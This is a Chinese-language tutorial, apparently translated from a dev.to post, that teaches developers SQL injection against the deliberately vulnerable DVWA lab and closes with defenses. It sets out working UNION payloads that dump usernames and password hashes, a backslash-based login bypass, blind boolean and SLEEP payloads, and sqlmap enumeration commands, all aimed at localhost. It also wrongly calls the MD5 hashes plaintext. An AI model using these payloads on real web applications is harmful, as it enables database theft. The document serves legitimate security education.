面向开发人员的 SQL 注入
它是什么
如何攻击
盲 SQLi
碎片化的 SQLi
使用 sqlmap 实现自动化
防御
最初发布于https://omerxx.com/sql-injection-intro
如何测试和保护应用程序的基础知识
从 2018-2019 年各垂直行业来看,SQL 注入 (SQLi) 攻击占所有攻击的 72% 以上。-
Akamai 2019年互联网状况报告
上面的引言说明了一切。如果说有一种攻击媒介是 Web 开发者需要熟悉的,那就是注入,尤其是这种。在OWASP 十大攻击列表中,注入位居榜首,其中 SQL 攻击名列前茅。臭名昭著的SQLi非常常见,易于自动化,并且可能造成大量无法修复的损害。
这篇文章是我个人的尝试,旨在探究一些我需要了解的东西。我反复尝试通过要点和短视频来理解,但始终未能“彻底搞懂”。了解SQL注入意味着需要坐下来,阅读文档,并亲手尝试各种有效载荷。学习各种小的、各种转义的语法,以及挖掘老旧的 SQL 脑细胞,这些都花费了我不少精力。而撰写这篇文章正是我付出努力的一部分。
话虽如此,值得一提的是,SQL 注入(下文简称为 SQLi)是一个简单的概念,但其形式却多种多样。具体有多少种呢?市面上 SQL 数据库的种类繁多,再加上各种不同的 Web 表单和开发人员的错误,简直数不胜数。
它是什么
SQL注入(简称SQLi)是一种在不危及主机本身安全的情况下渗透Web应用程序数据的方法。它允许攻击者从数据库中提取数据,在某些情况下甚至提取源代码和其他敏感信息。
执行攻击需要一个非常简单的“黑客工具”:您的浏览器,使其易于学习和执行。
SQLi 向量有多种类型。最常见的是来自客户端浏览器的 HTTP 请求。因此,如果开发人员希望用户提供一个简单的输入(例如)User ID
,攻击者可能会尝试注入一条 SQL 语句。不妨1
考虑以下输入,而不是直接输入:
1' UNION SELECT password FROM users UNION SELECT '1
如果后端代码没有被考虑为注入攻击,那么它可能会被利用来进行这样的查询。其结果是通过一个简单的Web表单提取数据库信息。如果成功,攻击者无需访问物理服务器。数据可以被提取并以“合法”的方式获取。
如何攻击
为了建立一个实例,我使用了臭名昭著的Damn Vulnerable Web Application。它有多种版本,但为了演示和速度,我们选择使用 Docker 的最快版本:
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.
寻找漏洞
从菜单中选择“SQL注入”模块。
尝试尝试各种可能的输入,我们可以看到请求的参数是用户ID,因此,第一个选项可以是1
:
1
# ID: 1
# First name: admin
# Surname: admin
看起来我们收到的响应有三个字段:ID、First name 和 Surname。
让我们尝试通过提供以下内容来逃脱'
:
'
# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
这个响应在这里很有价值。当应用程序返回错误并从后端转发错误消息时,攻击者可以实时获得不同尝试的反馈,并据此进行调整。
有时,作为一种防御机制,应用程序会返回一个通用的错误消息,而不提供任何有用的信息。然而,这种攻击仍然可以执行,被称为“盲 SQL 注入”。更多详情请见下文。
回到我们的注入任务。使用后,'
应用程序返回了一条有用的消息,指出附近存在错误'''''
。看起来注入是有效的,并且数据库引擎的响应是可见的。这意味着我们可以尝试不同的方法并获得可见的反馈。
SQLUNION
语句是一个常用的辅助函数。攻击者可以利用它,将附加信息与结果合并,并将它们一起返回。我们将尝试运行以下命令:
1' UNION SELECT '2
# Output: The used SELECT statements have a different number of columns
首先,让我们回顾一下输入:
1'
意思是“以 1 结束语句,并以撇号结束”。正因为如此,'
如果无法正确转义,那么终止 SQL 查询的逻辑部分将会非常危险。UNION SELECT '2
是一个选择一个数字并打开另一个数字与后端代码中语句末尾等待的数字配对的UNION
语句。'
现在我们知道,UNION
只需稍加调整即可。当使用UNION
数据库引擎调用 SQL 语句时,它会尝试将结果合并为一个集合。为此,所有部分必须具有相同的列号,以便统一。
让我们扩展测试并提供一个附加列:
1' UNION SELECT 1,'2
# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2
砰!注入成功了。不过,这还不是真正提取的数据。我们必须找到绕过模式的方法才能得到有意义的结果,但这绝对是有希望的。
-
第一步是获取查询表的数据库名称:
1' union select 2, table_schema from information_schema.tables union select 3,'4
这将产生三个集合,其中“姓氏”下的数据库名称为:“admin”、“dvwa”、“information_schema”。
-
我们对 感兴趣
dvwa
,因此我们将选择它并查询其模式:1' union select 2, table_name from information_schema.tables where table_schema = 'dvwa' union select 3,'4
查询得出表名:“admin”、“users”、“guestbook”
-
“Users” 表通常最容易被怀疑,因为它保存着一些有趣的数据,比如用户名、密码和其他个人身份信息 ( PII )。我们将查询该表(您可以随意修改请求并查询所有可用信息):
1' union select 2, column_name from information_schema.columns where table_name = 'users' union select 3,'4
我们得到了一个列名列表作为回应。“用户”和“密码”似乎是有趣的。
-
我们继续直接对“用户”表进行查询:
1' union select user, password from users union select 1,2' # ID: 1' union select user, password from users union select 1,2' # First name: admin # Surname: admin # ID: 1' union select user, password from users union select 1,2' # First name: admin # Surname: 5f4dcc3b5aa765d61d8327deb882cf99 # ID: 1' union select user, password from users union select 1,2' # First name: gordonb # Surname: e99a18c428cb38d5f260853678922e03 # ID: 1' union select user, password from users union select 1,2' # First name: 1337 # Surname: 8d3533d75ae2c3966d7e0d4fcc69216b # ID: 1' union select user, password from users union select 1,2' # First name: pablo # Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 # ID: 1' union select user, password from users union select 1,2' # First name: smithy # Surname: 5f4dcc3b5aa765d61d8327deb882cf99 # ID: 1' union select user, password from users union select 1,2' # First name: 1 # Surname: 2
就是这样:所有用户和密码的列表都存在。令人惊讶的是(或者说并不令人惊讶),密码是明文的,甚至没有经过哈希处理。
安全级别:中
在“DVWA 安全”->“选择”下提升 DVWA 安全级别Medium
。
这次,我们找到的不再是普通的表单,而是一个包含特定用户的下拉列表。检查浏览器开发工具后,我们发现该POST
请求包含两个参数:id=1&Submit=Submit
。由于标头数量众多,我们可以使用任何类型的拦截器来捕获请求,并使用不同的参数重复执行该请求。BurpSuite 是其中一个常用的拦截器。
使用 BurpSuite 快速设置拦截
- 设置您的请求通过代理;使用 Firefox,这很容易,只需转到
Preferences
-->Advanced
-->Network Settings
-->Manual Proxy Configuration
并设置所有要通过的协议127.0.0.1:8080
(BurpSuite 的默认设置) - 进入 BurpSuite
Proxy
选项卡并设置intercept on
。来自 Firefox 的下一个请求应该在 BS 处停止,你可以决定停止、转发或丢弃它。 - 进入 DVWA SQLi 页面,从下拉菜单中选择一个 ID,然后点击
Submit
。请求应该在 BurpSuite 上等待,然后我们可以Repeater
通过Actions
菜单将其发送到那里。
id
通过对请求中的 进行操作来检查服务器,POST
可以发现一个 形式的转义字符\
。因此,每当出现像这样的特殊字符时,',#,-,$
它都会被转义。但是,即使不能使用特殊字符,也无法阻止UNION
使用完全相同语法的注入:
1 UNION SELECT user, password FROM users
就是这样。完全不需要转义。后端代码已经将其包装起来,并完整地获取了命令中的所有内容。
安全级别:高
最后一个安全级别显示了一个链接,它会弹出另一个窗口,其中包含一个控制请求的表单。尝试了一下之前的转义代码,发现这里的代码“更好”,但仍然有一个小问题。注释是转义该行其余部分的好方法:
SELECT something FROM sometable # WHERE ...
# Will translate into the SQL query
SELECT something FROM sometable
注释 SQL 行有不同的选项,常见的有--
、#
、/*
- 以 结尾的多行注释*/
。
在“现实世界”中,这些选项在描述代码时很有用:
SELECT name -- this is the name
FROM users -- users table
WHERE name="DAN" -- Dan is the CEO
当谈到 SQLi 时,注释有助于忽略后面的其余代码,因此请考虑以下 PHP 代码:
// Check database
$query = "SELECT first_name, last_name FROM users
WHERE user_id = '$id' LIMIT 1;";
查询被LIMIT
编辑为单个结果,这使其难以提取大量数据,忽略该LIMIT
过程可以绕过它:
# First input:
1 UNION SELECT user,password from users
# Translates to
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password' LIMIT 1;
由于查询结果仅限于一组,它将始终返回first_name, last_name
,而忽略UNION
。
那么我们再试一次:
1 UNION SELECT user,password from users#
# Limitation ignored
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password FROM users';
盲 SQLi
当应用程序未返回 SQL 错误但仍然容易受到攻击时,就会使用 SQL 盲注。这种情况实际上与普通 SQL 相同,但攻击者必须使用一系列真/假测试来确定是否存在漏洞。另一种方法是基于时间的。通过SLEEP
在查询中发送,根据响应出现所需的时间,攻击者可以判断答案是否为正。
基于时间的 SQL 盲注依赖于数据库暂停指定的时间,然后返回结果,表明 SQL 查询已成功执行。使用此方法,攻击者使用以下逻辑枚举所需数据的每个字母:
如果第一个数据库名称的首字母是“A”,则等待 10 秒。
如果第一个数据库名称的首字母是“B”,则等待 10 秒。等等
。- SQL 盲注 - OWASP
让我们测试一下安全级别的 DVWA 盲 SQLi 模块low
。对于简单输入,1
系统返回User ID exists in the database
。对于错误输入,系统'
会404
返回一条消息User ID is MISSING from the database.
下一步是尝试看看布尔攻击是否是可选的:
# Input
'1 AND 1='1
>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.
# Input
'1 AND 1='2
>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is valid
从这里开始,问题在于将已知结果区分为错误/正确陈述,以便攻击者能够从中得出答案。例如:
# This input returns 404
1' and (select user from users where user_id=1)='test' and 1='1
# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where user_id=1)='admin' and 1='1
碎片化的 SQLi
一个不太为人所知但仍然有效的方法,当某些字符(例如 )'
被转义,但用户可以控制两个不同的字段时,这种方法非常有用。一个明显的例子是登录页面。当应用程序对字符串(例如 )进行转义时\
,攻击者可以通过创建自己的转义来绕过它,如下所示:
username: \
password: or 1 #
$query = select * from users where username='".$username."'
and password='".$password."'";
这意味着:
select * FROM users where username='\' or password=' or 1 # ';
反斜杠转义了后面的单引号,导致应用程序读取用户名值如下:'\' or password=' or 1 # '
。上面的语句将始终返回true
。哈希#
确保其后面的命令部分被忽略为注释。
使用 sqlmap 实现自动化
我们必须熟悉不同的技术才能应对不同的情况。但是,如果您不是专家,重写有效载荷并记住所有选项会很困难。人为错误和我们可能遗漏的误报也会造成干扰。Sqlmap可以提供帮助。
sqlmap
是一个 CLI 工具,可以自动扫描并提供相关信息。如果可能,它可以从数据库中获取信息,例如数据库名称甚至表。它还可以识别盲 SQL 注入并报告可选技术(布尔值或基于时间)。
以下是在 DVWA 盲 SQLi 级别上的简单操作
# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
--dbs
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema
扫描器发现了该漏洞,并指出必须盲目攻击。它建议使用有效载荷和当前可用的数据库:
# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
-D dvwa
--tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
防御
- “ORM”——一种普遍的看法是,处理 SQLi 的一个好方法是使用ORM 层。ORM 不仅提供数据结构管理,还能免除构建原始数据库查询的责任。这通常很有帮助;将查询的责任转移给更有经验的人是合理的。但不应盲目地这样做。虽然 ORM 通常是一个 SQLi 安全解决方案,但它并非SQLi安全解决方案。ORM 很容易变成一把双刃剑。一旦被攻破,ORM 可能变成一个世界级的 SQL 注入漏洞。ORM 用户必须熟悉注入方法并测试自己的应用程序。
是的,我想说这是任何 ORM 的基本期望。这可能就是为什么它没有在文档中提及的原因——只要您使用 ORM 的核心 API 或查询生成器,它就被假定如此。
这就是需要注意的地方……ORM 提供了许多构建数据库查询的方法,但它们也为您提供了将“原始”的、自己动手的查询编写为字符串的选项/灵活性……或者它们允许您将生成的查询的某些部分编写为原始字符串。显然,您要避免这样做,因为它有点违背了使用 ORM 的目的……但时不时地会有这种情况发生。——
@ feather-hmalone 回复 TypeOrm 问题
-
WAF - Web 应用程序防火墙可以有效过滤传入的可疑请求,例如 SQLi 或跨站脚本攻击载荷。这些请求也依赖于其规则的强大功能,如果实施不当,可能会被绕过。
-
自我防御——以最佳实践为核心构建系统是一个好的方向。这听起来显而易见,但实际上并非如此。最佳实践的思维固然重要,但这并不意味着所有责任都可以推卸到其他层面。说到安全,尤其是对于造成绝大多数网络数据泄露的载体,我们应该知道如何自我防御。熟悉各种攻击和工具,可以避免敏感信息泄露。
我希望您现在对 SQLi 的风险和缓解措施有了更深入的了解。了解攻击向量有助于我们开发人员和运维人员保护我们负责的系统。
我将发布更多此类帖子,主要围绕 OWASP 的十大漏洞,因此如果您觉得这篇文章对您有帮助,请继续关注,如果您有任何问题或反馈,请告诉我。
文章来源:https://dev.to/prodopsio/sql-injection-for-developers-2pi